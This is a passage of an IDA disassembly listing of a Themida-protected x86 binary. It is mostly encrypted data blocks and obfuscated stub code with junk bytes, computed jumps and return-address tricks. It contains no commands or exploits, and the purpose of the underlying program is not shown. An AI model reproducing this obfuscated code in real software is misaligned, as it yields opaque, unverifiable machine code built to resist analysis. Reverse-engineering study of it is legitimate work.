		add	edi, 0F8h
		jns	loc_5B9C37
		jmp	loc_5B9C37
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0DEB66242h
; ---------------------------------------------------------------------------
		retf	56A2h
; ---------------------------------------------------------------------------


loc_5B9C37:				; CODE XREF: sub_5B9BAA+7Aj
					; sub_5B9BAA+80j
		mov	dword ptr [edi+24h], 60000020h
		jmp	loc_5B9C4C
; ---------------------------------------------------------------------------
		db 46h
		dd 6AB7EE43h, 0F64F42D6h
; ---------------------------------------------------------------------------


loc_5B9C4C:				; CODE XREF: sub_5B9A2C+94j
					; sub_5B9BAA+94j
		lea	ebx, [ebp+6100F51h]
		jmp	loc_5B9C6B
; ---------------------------------------------------------------------------
		db 3Ch
		dd 88406E00h, 0FEAC156h, 95ED08F6h, 0DA74DBD6h
		db 7Ah,	5, 0B6h
; ---------------------------------------------------------------------------


loc_5B9C6B:				; CODE XREF: sub_5B9BAA+A8j
		mov	eax, [ebx]
		pusha
		jge	loc_5B9C77
		add	cl, 7Dh


loc_5B9C77:				; CODE XREF: sub_5B9BAA+C4j
		jno	loc_5B9C7E
		cmc


loc_5B9C7E:				; CODE XREF: sub_5B9BAA:loc_5B9C77j
		popa
		or	eax, eax
		jz	loc_5B9CCA
		pusha
		mov	dl, ch
		jmp	loc_5B9C9B
; ---------------------------------------------------------------------------
		db 0CDh
		dd 0F2C82B6Eh, 661F105Dh
		db 0F0h, 0D7h, 81h
; ---------------------------------------------------------------------------


loc_5B9C9B:				; CODE XREF: sub_5B9BAA+E0j
		popa
		pusha
		jmp	loc_5B9CB4
; ---------------------------------------------------------------------------
		dw 0E53Eh
; ---------------------------------------------------------------------------
		fadd	dword ptr [edx-4Fh]
		pusha
		and	[esi+7Eh], bl
		cwde
		sbb	eax, 1B998695h
		cmp	ebx, [esi-19h]


loc_5B9CB4:				; CODE XREF: sub_5B9BAA+F3j
		jb	loc_5B9CBE
		mov	bx, 0CD77h


loc_5B9CBE:				; CODE XREF: sub_5B9BAA:loc_5B9CB4j
		popa
		mov	eax, [eax]
		pusha
		mov	edi, eax
		popa
		mov	[ebx+4], eax
		pusha
		popa


loc_5B9CCA:				; CODE XREF: sub_5B9BAA+D7j
		mov	ecx, 234CF6h
		jmp	loc_5B9CE9
; ---------------------------------------------------------------------------
		dd 23089068h, 4	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5B9CE9:				; CODE XREF: sub_5B9BAA+125j
		jmp	loc_5BA234
; ---------------------------------------------------------------------------
		dw 0FFAFh
		dd 0D37900BCh, 0F499209Ch, 0D378FFBBh, 0F1932296h, 0F410F6B2h
		dd 27A3E286h, 0BCFDB0h,	1E9AD579h, 0FFBBF097h, 0C979300Ch
		dd 2D6BDA94h, 7932E4B0h, 0DBC708A9h, 0DDC908BCh, 87597D59h
		dd 0ECD110B4h, 98147947h, 0EFAFCCE3h, 1AA8637Dh, 0FA6DCC28h
		dd 0C704A71Eh, 0B98257DBh, 0D564D817h, 330DF92Eh, 2FE45E4Dh
		dd 24006DCCh, 0DDC9FEA5h, 10B78459h, 0F8B027DBh, 0E8BEAFC1h
		dd 70FD6FCDh, 289A916Bh, 0CC6DCC97h, 0F08B7B50h, 3AF130CFh
		dd 89774905h, 0CC9720A2h, 525FC46Dh, 0ECCC09BDh, 49FDBC98h
		dd 0E9FE620Eh, 0CD81BC72h, 8068FAF3h, 0BF4FA1F7h, 427D31AAh
		dd 0BA96374Eh, 9F23E611h, 776DCCEEh, 472BD7FBh,	0B99DDC90h
		dd 8928DBCDh, 4D68E4Dh,	50442061h, 863CF7D4h, 5F088F4Bh
		dd 0E689502Ah, 83D2D4A9h, 6DCCEE3Ah, 0C227BEFDh, 336AA3EFh
		dd 83CFh, 79323D00h, 0E7412A44h, 4D6578CAh, 7138E603h
		dd 6DCCB2D3h, 8D79B86Ch, 731F560Eh, 639038EFh, 0CCB21AA8h
		dd 421EFA6Dh, 5A91374Eh, 5967FE9Dh, 9752F1D2h, 336A6956h
		dd 1251F3C6h, 83E5025Eh, 8, 0CF06BE7Dh,	0A22A3F23h, 29437A32h
		dd 7CEE5457h, 2A066DCCh, 1DF514Dh, 0CC7CB80Ah, 0B6F1956Dh
		dd 0BAB666CAh, 376E169Dh, 5A974C4Bh, 0DA15B980h, 712D4A26h
		dd 67CE653Eh, 47CE8AC1h, 59EF6BA0h, 533F7E32h, 7B558C34h
		dd 8BF6CC52h, 0CEABD4B5h, 0DB14B9D0h, 0C0F9B027h, 32D950D4h
		dd 0DB609FDh, 2E4D4A76h, 9BDA8E97h, 0C87E3D1Fh,	3CE3708Dh
		dd 927EB36Ch, 3CECA98Eh, 0ED156F6Fh, 0C77E1D09h, 2B1E28Eh
		dd 2FD46763h, 0DF22D5F2h, 0BF336AE3h, 5Bh, 3F7E320Dh, 0EA58532Dh
		dd 0A6DCC7Ch, 4E4D390Eh, 0F7B25E97h, 842809A8h,	0FBB02B45h
		dd 0A635A9BEh, 0D7A9C302h, 0CC7C6ED4h, 0CDAA866Dh, 0D815BAD1h
		dd 0A9487B2Ch, 0BEF7AE2Dh, 342BF6A9h, 4A0B336Bh, 81000000h
		dd 533F7E32h, 9F538E34h, 55DC734Ch, 8DC96BB3h, 0B95FA796h
		dd 328B219Dh, 84F437Ah,	6DCC7CBFh, 0FDACD790h, 6DCC7C45h
		dd 0F5A1C5A1h, 0F431D6h, 6F44DB96h, 0FA46C711h,	0BF866A02h
		dd 29846100h, 9336B1Bh,	1, 5C04D783h, 0D68B4825h, 55F8C39Dh
		dd 50473714h, 24AE6297h, 7A2FF68Dh, 0A1388D41h,	8069203Ah
		dd 6467FC06h, 552FFE67h, 4B20C53Ch, 50894057h, 62098074h
		dd 812AB12Dh, 18FC3B43h, 70546908h, 0D86FD584h,	0F8E49423h
		dd 0E9256AD3h, 1B30D934h, 13EDE988h, 236EAA18h,	0E2C54A94h
		dd 4EB87DA6h, 28B3C8ACh, 0DE85547Fh, 9279FDA9h,	94231C30h
		dd 838658D4h, 94231C3Fh, 0C3775BD7h, 84568B34h,	1C13AF5Ah
		dd 77F39423h, 0F9CE0BC0h, 0A0D58E0Dh, 6D0497F4h, 72E61BC4h
		dd 0FB37688h, 0E794231Ch, 1C2C9695h, 6CC89423h,	61AC7388h
		dd 41397BD6h, 12Eh, 88C97C3Fh, 0BD5CD973h, 78B6DF15h, 2E129456h
		dd 8A5C6D1Ch, 0AEAA67FCh, 0E71CC3C2h, 6FACD815h, 9F6BC1AFh
		dd 0AF2A14CAh, 6407BEFDh, 0E2F77B27h, 897DB259h, 70245912h
		dd 0EDE9881Bh, 0C6189100h, 0A2B7D8A5h, 813D7219h, 7AFCF3BEh
		dd 36D339h, 6EED0000h, 0C65E7BBAh, 401AC15Ch, 0CC7CD949h
		dd 7521FDEDh, 508940FBh, 7C32907Bh, 999BEDCCh, 192E6F22h
		dd 6974EB8Ah, 31B15872h, 0D56DCC7Ch, 0A764E559h, 0D8000000h
		dd 265B04D7h, 0C025B451h, 0CC7C79C9h, 32907B6Dh, 0D26DCC7Ch
		dd 0BCAA656h, 0D691D56h, 771417E9h, 0F67FC0Ch, 0BF685F13h
		dd 0FFECCE8Ah, 0EA9E782Bh, 4E7BF7ABh, 44032F61h, 0CF8C61A0h
		dd 0F709E318h, 233B8E34h, 0ED0A6694h, 3ADF6A31h, 0AB949423h
		dd 18560D14h, 5BE91976h, 9E4605CDh, 72CF8B67h, 78667863h
		dd 6A7EED53h, 0BE6D26F9h, 9423EB04h, 8B6084E0h,	18F39FA0h
		dd 0A2C8059Eh, 7CD6B501h, 0B1AD6D8Ah, 0E81DC6C5h, 7817AA3Ch
		dd 0F507D4E3h, 9BA2200Bh, 0E6429E14h, 3B3CEF11h, 0C3942F83h
		dd 0FCD819CCh, 4D7AA40h, 0F0742061h, 706B8ADBh,	64AAAB5Eh
		dd 0D85467F7h, 0C1F6AD2Ch, 0A0D58E0Dh, 0BBF7AF4h, 1C10FBD0h
		dd 0C1F907EDh, 468743E2h, 4A0E9F45h, 763D1AEBh,	952498CDh
		dd 3B4B0EEh, 10BF50A7h,	0CDB9F699h, 2998D69h, 522D074Dh
		dd 9C552D32h, 0AAC6AAE7h, 0ED2EDFF6h, 0B4E9A239h, 59F88BC0h
		dd 0B3348E7Dh, 54D0B906h, 942BC670h, 2DA1D68Dh,	0D4C0F5AEh
		dd 0AC3h, 4D73900h, 0F571255Ch,	32C288D8h, 52493D80h, 19B06499h
		dd 4F463A75h, 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h
		dd 30A75B94h, 0CF554178h, 717868h, 240C8900h, 0C181E189h
		dd 4, 8704E983h, 685C240Ch, 7EF2h, 68241489h, 2AB5h, 57240C89h
		dd 4717B1BFh, 5FFA893Fh, 0FF32F281h, 8B543951h,	0C483240Ch
		dd 4EC8104h, 89000000h,	418F2414h, 2434FF08h, 4C48159h
		dd 0FF000000h, 835A2434h, 0A9E904C4h, 0ACFFF992h, 4C37478Eh
; ---------------------------------------------------------------------------


loc_5BA234:				; CODE XREF: sub_5B9BAA:loc_5B9CE9j
		mov	eax, 616ED65h
		add	eax, ebp
		jmp	eax
sub_5B9BAA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4Dh,	22h, 0C6h
		dd 0A0EAEA0Ah, 0CA54E31Dh, 0AE2E2C17h, 75734E23h, 0E18BE840h
		dd 49FA0B32h, 4D3C4603h, 5FD3987Fh, 17545527h, 75B3AB2Ch
		dd 84C59F77h, 890EB870h, 0CCF1902Fh, 3B7A933Eh,	0B617320h
		dd 9E95B37h, 51284253h,	0B2DD6239h, 6BA9B649h, 1C45DE1Bh
		dd 0ECD9CA61h, 2FF5A212h, 0AF895638h, 3E80FB74h, 9A8BC12Ah
		dd 9F09D55Eh, 0BE844h, 0ACC60000h, 54464F12h, 32B1750h
		dd 11E964h, 3C2E0000h, 8864E881h, 23EB6A2Ah, 2266B130h
		dd 5B812ECBh, 28A0F51h,	60000000h, 0C3815861h, 5BC7h, 5EDFDDBFh
		dd 16B8684Ah, 11E90000h, 0C2000000h, 5E89394Bh,	1EC37765h
		dd 75522AC0h, 43C5CFE9h, 79BF665Eh, 0E9138B61h,	0Fh, 0CB2D885Dh
		dd 7063C403h, 4E4C4F98h, 81AE1FC8h, 0F408A1EAh,	0EE969h
		dd 455D0000h, 0CA120967h, 2F268DCEh, 0F6FBAD06h, 94E8F281h
		dd 14E96186h, 4000000h,	0DB5A241Ah, 863F5CB8h, 4DBD3A63h
		dd 5B2256FBh, 8108F1F3h, 0DA7584F2h, 89CE8A4Bh,	28C0F13h
		dd 0B0000000h, 4EB839Ah, 0EE816160h, 1,	12850Fh, 0F8600000h
		dd 0E243B866h, 17E961h,	58330000h, 0B43060A1h, 376AB866h
		dd 0FFFF74E9h, 0E418F1FFh, 3E8E456Ah, 608D8D50h, 6A0616F0h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 20C4C357h, 78D211D2h, 31AFE72h, 10209595h
		dd 81666006h, 61C3C2EEh, 9F58D89h, 6A0610h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0A706D9C3h
		dd 229DFC98h, 84A7BE66h, 13E9h,	4E6ADF00h, 88B867BEh, 0A19FAA3Eh
		dd 59E41Dh, 0ED5502A5h,	231985C7h, 6FC00610h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0F94539C3h, 786BC081h, 85C713E9h, 61022C1h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5BA457
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA457	proc near		; CODE XREF: Themida_:005BA44Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5BA457	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [esi-6D08Ch],	1030C5B5h
		push	es
		mov	[ebp+6100845h],	edx
		mov	eax, 72C1C9EEh
		call	dword ptr [ebp+6102DB9h]
		push	0
		push	esi
		call	sub_5BA48E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA48E	proc near		; CODE XREF: Themida_:005BA486p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5BA48E	endp

; ---------------------------------------------------------------------------
		dw 0A52Bh
		dd 2CD23DDBh, 10E8h, 63D6ED00h,	1F3AB5CAh, 921951E0h, 0D90E8429h
		dd 0B58960F4h, 6100829h, 5B616160h, 95FF006Ah, 61031C9h
		dd 3CEBC08Bh, 8D308F3Dh, 0B7257168h, 0F648086Bh, 0F5AE3683h
		dd 0F2DC0B2Eh, 0DB8F6EE9h, 292981DFh, 6FA8AA41h, 80E8CDA1h
		dd 0D479C5ADh, 0A0AC1CBFh, 372C1A7Ch, 711B1F9Bh, 0D93A7796h
		dd 63EF2378h, 1AE9h, 0CB590800h, 39h, 4	dup(0)
		dd 0E9000000h, 4FBh, 16F1E368h,	8F9EE906h, 7268FFF9h, 0E90616F2h
		dd 0FFF98F94h, 16F3D168h, 8F8AE906h, 9F4FFFF9h,	0B359E05Ch
		dd 9439C07Ch, 0B358DF5Bh, 9133C276h, 94F0D652h,	0C783C266h
		dd 0E05C9D50h, 0BE7AB559h, 0DF5B9037h, 0A91910ECh, 4D6BDA8Ch
		dd 4D7C450h, 0F571255Ch, 6AA95BD8h, 33681FB6h, 508B2A77h
		dd 0CC07BB7Eh, 597F5CD8h, 0FC1F31B2h, 0DECDB367h, 9423A164h
		dd 0D3C7A480h, 42FCAB57h, 0A19423A1h, 9B767312h, 7B397B58h
		dd 33Bh, 37BA15D1h, 718932A0h, 6C275DCAh, 7B577BB6h, 0BA39AA61h
		dd 81DD67FCh, 289A916Fh, 0CC943C0Ah, 378B7E50h,	0CF943C0Ah
		dd 12B97653h, 9159943Dh, 7C4E8D2Ch, 7700D88Dh, 0BD6F669Bh
		dd 0B28E927Eh, 227F6CBEh, 91DB39B1h, 0FE156885h, 0C80803DDh
		dd 8891862Bh, 9F4FF3B6h, 0CBA79DA5h, 5D06D5A7h,	594D021Fh
		dd 0B0945DC8h, 758B60C4h, 0DC1DD08Bh, 0A42F4C28h, 2812C6FBh
		dd 0D3BF00B1h, 25D110B4h, 8B482541h, 73A9FD4h, 0B4380D8h
		dd 3348A1Bh, 9F4F0000h,	0B359E05Ch, 9439C07Ch, 0B358DF5Bh
		dd 9133C276h, 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h
		dd 0DF5B9037h, 0A91910ECh, 4D6BDA8Dh, 0BD5CC450h, 1F5D4C1Eh
		dd 0A767F76Ch, 9908BAC2h, 1E5D27Bh, 0A74A11EFh,	26CA9166h
		dd 0A34615E7h, 0EFD18562h, 7FA81A11h, 7F2A9425h, 94257FC3h
		dd 0DB574723h, 4B9335FEh, 0C5C490A2h, 94257E7Dh, 0F5B09D99h
		dd 0FA2FD86Ah, 2A462A06h, 0D9942F76h, 0A79425h,	0C21D1ECBh
		dd 39ED4A00h, 2A5B0h, 0CB0EC000h, 0A9E0880Fh, 0C6FFA635h
		dd 0A3E08312h, 0BDFCB027h, 8DFF0B01h, 99209CDBh, 7403B7F8h
		dd 0A01793CEh, 13F6B2E7h, 8EC08229h, 0C7246BDAh, 1EBD5CFDh
		dd 6C1F5D4Ch, 0CBA767F7h, 6C3690D7h, 66079425h,	59B2FE1Ch
		dd 40246E38h, 588F3554h, 35CCEFACh, 4EE59E87h, 818C62ABh
		dd 1B94239h, 32880000h,	39504479h, 0B8835D92h, 51863D11h
		dd 0F1A5C1A5h, 7C368C7Fh, 52CE6DCCh, 80E5596Eh,	0A1886279h
		dd 67FC11B8h, 771ED24Eh, 942396CFh, 0FBFE952Eh,	397B3FB2h
		dd 3192h, 4D7F800h, 0B548255Ch,	0E8A3BD1Eh, 67FC7CCBh
		dd 7423CF4Bh, 942383CAh, 0B66AA95Bh, 45316A1Fh,	0D6FA992Ah
		dd 0FAFF962Dh, 397B36B7h, 0DA97h, 7932F500h, 0E6C006A9h
		dd 2B8B793Ah, 0FBD5F1D5h, 7A4F8A40h, 815B0D8Ch,	0C2AE92CDh
		dd 23DF168h, 0D56D1C0Eh, 316DCCF2h, 4C3F1135h, 6DCCF2F6h
		dd 7E35120Eh, 0E5E490C5h, 64F7093Eh, 0F16582BFh, 0CC8FAE3Ah
		dd 93C87F6Dh, 32084517h, 17E725B3h, 373A8883h, 7EDA6DCCh
		dd 0E1F88562h, 8470AB5Fh, 0C1AAC4A0h, 82A095BFh, 0F709DE9Dh
		dd 0FABF0C34h, 7688E467h, 460241E3h, 443E574h, 83B86CE7h
		dd 21253A88h, 627EDA94h, 43E7EF5h, 5142524Ah, 146h, 0BA6EB161h
		dd 0DA4E853Bh, 0F16DA65Bh, 0D488C56Ah, 0E864A345h, 0B0548602h
		dd 8B3EBD71h, 63078E4Ah, 7E25B428h, 0A69A9549h,	0DA8F5FE3h
		dd 723AB76Bh, 7C5696D7h, 0FAF266FDh, 73B256DDh,	0B256E5B7h
		dd 26DD5673h, 0D7AF3DF1h, 6F235E04h, 0A65DD6F3h, 817DDE68h
		dd 1C9B9FC1h, 584C2869h, 13BA8A41h, 7B4126DAh, 739EDC38h
		dd 6C29EC2h, 0AFC11AB9h, 0FC24C7FCh, 29431F67h,	0BBFFEB2h
		dd 0CA03AA31h, 89805AD6h, 943CE339h, 0BF6C81DDh, 943CE307h
		dd 7E3A6F18h, 31661D9Ch, 2E2AD845h, 58C2042Dh, 30D45F7Ch
		dd 0A45CDFF1h, 0C4C7B96Dh, 943C717Eh, 0A1B69A96h, 8CF4E5h
		dd 5C480000h, 5D4C1EBDh, 67F76C1Bh, 0D815BA81h,	6F33482Ch
		dd 0DF88FFF3h, 709BD0AAh, 5F55EF07h, 0A56F2613h, 432025E8h
		dd 8229B026h, 0C912594Dh, 9AD4D8E0h, 14CB6A09h,	33EC6BDFh
		dd 0D07312FEh, 3FE8DF93h, 0CA7F160Ah, 36771A91h, 0AA9584Ah
		dd 97221CC6h, 316820F0h, 0E805E145h, 0CE75BC53h, 160A4BFEh
		dd 9882361Ah, 1A152B3h,	0B157C576h, 2DDF567Ah, 491E02EEh
		dd 0F0A4D992h, 0DE7h, 215F5500h, 7CF64C3Fh, 120E6DCCh
		dd 80326F35h, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh
		dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh, 50CF5541h
		dd 405E089h, 83000000h,	48704E8h, 24248B24h, 3AB268h, 242C8900h
		dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 0E368240Ch
		dd 8B0616F0h, 0C483242Ch, 0C8B5404h, 4C48124h, 81000000h
		dd 4ECh, 242C8900h, 8B08418Fh, 8950240Ch, 405E0h, 4050000h
		dd 87000000h, 8B5C2404h
; ---------------------------------------------------------------------------
		sub	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		sbb	ebp, [esi+67D93380h]
		lodsd
		adc	bh, [eax+616F53Ch]
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 2799A518h, 694858D9h, 12E2AA8Eh, 5573694Ah, 6EF273A4h
		dd 5BD6E045h, 76CBF018h, 5E9559D8h, 6A31BE7Fh, 4E818DDBh
		dd 27B4C52Fh, 6056C3A5h, 67C81F17h, 7EA73826h, 12A7A91h
		dd 1EBC488h, 1D3EA071h,	2C80A945h, 59B2AB43h, 1918D5F7h
		dd 79D6308Eh, 7C743B18h, 57845ADBh, 0BE8h, 800E8D00h, 8FF74A53h
		dd 4F56DE6Ah, 5BFE8B66h, 81FEBF0Fh, 7498C3h, 7316B900h
		dd 6836C1h, 81000000h, 7476FEEh, 820F5871h, 6, 3687D981h
		dd 148B5D9Ch, 0FA8B6603h, 6B54F281h, 0FE9546Dh,	5B000000h
		dd 1B67A72Bh, 0ABBF3939h, 9AAFF3F9h, 0C281528Ch, 53FC49FCh
		dd 0FFCE8166h, 39C28135h, 660E0394h, 89D640BFh,	8DB50314h
		dd 178AB966h, 0F04E883h, 138Fh,	7E800h,	153C0000h, 6B64D95Eh
		dd 830F47h, 59000000h, 8C28F881h, 850FFFFFh, 17h, 0E9F0B70Fh
		dd 21h,	56DCCF8Ah, 0E9A4BE8Dh, 7049AAB8h, 66F6438Eh, 0E98E0ABFh
		dd 0FFFFFF7Ah, 7E4356BAh, 9C9CCEABh, 14E80Ah, 0BFE50000h
		dd 18C70BA7h, 0D61F80EAh, 46B24BADh, 0DFCA891h,	0F081524Bh
		dd 483BBFD5h, 0BE66575Fh, 8158D03Dh, 6F8FC7h, 0C18B6600h
		dd 68h,	0BE666000h, 8B0FE314h, 4, 6D09BA66h, 13E95961h
		dd 1D000000h, 0ED7EAD9Bh, 12D329BBh, 6C90CBDCh,	0AB23D44Dh
		dd 148B1B7Dh, 1CF2810Fh, 0BE6DD6EFh, 4C5D1990h,	303DC281h
		dd 46B702A1h, 6DBDEA81h, 83B76D36h, 0D6816652h,	48F932Bh
		dd 0D88B660Fh, 338E981h, 8166663Fh, 818C66D3h, 3F0334C1h
		dd 0C1B86666h, 40F981AEh, 0FFFFF91h, 1485h, 8FB05100h
		dd 27E95Eh, 0EC0C0000h,	76FA4C1Bh, 4F794EBFh, 4870FA7h
		dd 66000000h, 0E98358B8h, 0FFFFFF92h, 1CEB4DADh, 0F3A22918h
		dd 4CAC48AEh, 0EE835h, 97FE0000h, 4E124506h, 0D6779F6h
		dd 2B9E3E14h, 1332BE66h, 0F505158h, 5F5BDFBFh, 5DE7C081h
		dd 0DD8A0000h, 174CB9h,	0F108B00h, 38Eh, 0F28B6600h, 8CEFEA81h
		dd 0C281332Fh, 782E8224h, 7C59EA81h, 8050717Bh,	895EB5D7h
		dd 38E0F10h, 0F000000h,	0E883D8B7h, 59DB8103h, 48476D04h
		dd 133250BBh, 1E98333h,	28850Fh, 12E80000h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5BACA7:				; DATA XREF: Themida_:0055FC78o
		adc	[edi-3624EE93h], cl
		mov	al, 29h
		retf	59B3h
; ---------------------------------------------------------------------------
		mov	ch, 17h
		jbe	short near ptr dword_5BAD08
		test	eax, 5FF9EA95h
		jmp	loc_5BACF1
; ---------------------------------------------------------------------------
		dd 1731A2C7h, 0D7327812h, 0BE8F353h, 9D000000h,	4C9AEF64h
		dd 0F8F334ABh, 94BB9E1Fh, 5F77D266h, 0FFFF78E9h, 0A08C70FFh
		dd 0B294BF1Ch, 7967B5A9h
; ---------------------------------------------------------------------------
		inc	esi


loc_5BACF1:				; CODE XREF: Themida_:005BACBBj
					; DATA XREF: Themida_:0054DCC4o
		jmp	loc_5BAD0C
; ---------------------------------------------------------------------------
		dw 212Bh
		dd 1972h, 3 dup(0)
dword_5BAD08	dd 0			; CODE XREF: Themida_:005BACB4j
; ---------------------------------------------------------------------------


loc_5BAD0C:				; CODE XREF: Themida_:loc_5BACF1j
		jmp	loc_5BB847
; ---------------------------------------------------------------------------
		push	616FA15h
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	616FB0Bh
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	616FCE7h
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	616FDE4h
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	616FF7Ch
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	617012Dh
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	6170240h
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		db 70h
		dd 0FDF0A557h, 714411CBh, 8F5AA5Ch, 78451ACCh, 89FBA862h
		dd 2AE4F6B9h, 97518875h, 31E3FBCAh, 88429164h, 0FD8AD9DBh
		dd 1DDF3D5Ah, 5CAD5DFBh, 0F7464D07h, 74752AE4h,	0BC47B6CEh
		dd 1DD85A26h, 0E12E5541h, 11B82F4Ah, 3F13CE85h,	0BE93C9D9h
		dd 38C8h, 0D60C7900h, 0A8C9751Ch, 621A48C2h, 45E2E08Bh
		dd 0D5241DD8h, 0A78DCE80h, 0FA87D8F7h, 9F518BE6h, 9F1E7220h
		dd 365DAAF3h, 9911B845h, 2DB38F2Ah, 1CBE93B8h, 0DFh, 0AC075C64h
		dd 28D6FDB7h, 82CE88DBh, 202FBC2Bh, 3517C845h, 0AA647C49h
		dd 9D367723h, 4140FA50h, 0DCF481F2h, 44C0CF22h,	0E99517C8h
		dd 540E3DC8h, 3DF10E5Dh, 2BA4822Eh, 0FB9ABD08h,	0CBBB17C8h
		dd 0AFA4F1A2h, 0A4FA0F5h, 7017C901h, 1F4A15Bh, 187918D2h
		dd 105B522Ah, 1DD905E2h, 951C4935h, 8DDED5A9h, 9130EAE0h
		dd 0E8A2B542h, 0C3B311B8h, 67F9CE8Fh, 1017CBA1h, 8FDE8D64h
		dd 5501803Ah, 0EEAF6960h, 5C09C317h, 10C21A67h,	0AA64764Fh
		dd 1531B84Ch, 4FE5E4E2h, 916h, 315E1047h, 7DD28CC4h, 2E631530h
		dd 7ED385BFh, 34611B2Fh, 9DAD7040h, 0A3FAEE3h, 9CB20350h
		dd 1348B5EAh, 59A80C59h, 0DF3E8BAEh, 7C2CCA1Dh,	754C065Ch
		dd 44D67906h, 8F7F17C8h, 352697CEh, 487C267Bh, 9A80531Ah
		dd 0E2114A1Dh, 36B43FAEh, 411DD84Ah, 4AE12E55h,	8511B849h
		dd 0D93F13CEh, 0C8BE93B3h, 0CEh, 4D075C20h, 29E3F746h
		dd 573E59AAh, 0DCEB009h, 1524CF1Eh, 4017C856h, 67BC0B54h
		dd 1317C85Ah, 6C5906C0h, 0B316BD77h, 7708F78Fh,	4C81D40Ah
		dd 1B47F39Ah, 5F437552h, 28D41DD8h, 205EBED9h, 1BD418A7h
		dd 0D6840BC5h, 6D1F358Ah, 0AEF7B866h, 0E09AB03Dh, 856C35E1h
		dd 0A14EA5D9h, 17CAC28Eh, 99E8D7C7h, 0F3938049h, 0EC124064h
		dd 5571D0A9h, 481C28F0h, 0DA7D0A79h, 7B0BA571h,	3283E28Bh
		dd 0EE906620h, 32E215F0h, 820992Fh, 0FE510000h,	0B2A6174Ch
		dd 35AABF8h, 9BB10451h,	1949BCE9h, 7242325Fh, 0B4E19BAFh
		dd 9561041h, 0A3F0A2BCh, 1A470152h, 9DBC479Ah, 0B81DDF3Fh
		dd 65C6A1Eh, 0B5A6174Ch, 2BD292ECh, 80D42438h, 75C87D3h
		dd 0E4F7464Dh, 0CE74752Ah, 66BC47B6h, 101DD855h, 3485145Fh
		dd 83D011B8h, 9FC0944Eh, 6B1AE995h, 0F49FC072h,	65BB6A5h
		dd 0D6FDB7ABh, 0A9557C28h, 0A7506FDh, 11B83467h, 81105BEEh
		dd 0D411B834h, 4E877C28h, 2849F59Ch, 0A15B703Dh, 56DFD522h
		dd 0A21198FEh, 3C2F4C07h, 88D781ADh, 0BC0FF6B7h, 13BA6C61h
		dd 97663B67h, 0B8038A44h, 8A719896h, 40F5B02Fh,	0B104510Bh
		dd 9EE9E8A2h, 8A7198F4h, 8D34EEE4h, 41AE0B40h, 8A71992Eh
		dd 0A42B7727h, 0D2AC312h, 45A12324h, 0E2BDE9BCh, 3E8D48E1h
		dd 0CE522D84h, 856C4FD4h, 3786DF80h, 2636A24h, 2CD9285Ch
		dd 0FF92DD32h, 568A71D5h, 52B1FAA6h, 81DFDBA5h,	33600C90h
		dd 5FC80AEh, 71ECDC7Ah,	0EC93838Ah, 51A88D9Fh, 43FD537Eh
		dd 26D8ED3Ch, 32EBF4A7h, 5811C024h, 0FA50147Ah,	8D4F2C51h
		dd 0F6A512B1h, 0E742849h, 0CC000004h, 3B5EA95Ah, 0AB17C845h
		dd 8676FCB6h, 4C16F3CBh, 0A19155h, 163CC5F0h, 341B235Fh
		dd 0E6BA3952h, 55AE6C17h, 1BF81DD9h, 0AF3CB2A3h, 0BC6E665Fh
		dd 743D6915h, 0A6607300h, 6C3F9AFAh, 0DE92C79Bh, 0BC766B70h
		dd 0C63D6915h, 0BA145739h, 1D948096h, 0DA0E21CEh, 57478A99h
		dd 361C7D16h, 0FA45F4Eh, 2EE0F629h, 0BFF9A753h,	27D6259Eh
		dd 0A9557C2Eh, 0AFF6FF08h, 0BB6B90ADh, 0ECA6B544h, 0B81546B7h
		dd 86A52C4Bh, 81DC2984h, 4E02B0CFh, 1AB96B61h, 26C2386Ch
		dd 6A6934BEh, 644D167h,	62750000h, 0BE12E3B0h, 675E4F04h
		dd 0B70DE0B5h, 6D5D5005h, 0A68EDEB3h, 6035EFE3h, 0CD823C8Dh
		dd 5F34E6E0h, 0CE833D8Eh, 61F07BCEh, 0F41DDF41h, 1A48AE5Ah
		dd 1AE08B62h, 0CD1DD856h, 345EF17Eh, 7F711B8h, 0F6E5345Bh
		dd 0F9EA953Ch, 18CD7140h, 0DA8807C1h, 76CC3786h, 7117C844h
		dd 8BBF2E85h, 0E6D590D1h, 0AAE7A95h, 53F2F3EFh,	0A76DD160h
		dd 0D798840Bh, 4C82DDEEh, 1B47F39Ah, 4A0455A4h,	0BDD69743h
		dd 22A15B70h, 0D59029B8h, 397CC86h, 0C4A48E9Dh,	2D88Ch
		dd 1A48D400h, 8BDC8B62h, 9231EBDEh, 457E11E4h, 27D717C8h
		dd 3D798186h, 2F21DDFh,	9EAD3CABh, 4C7E11E4h, 84D711B1h
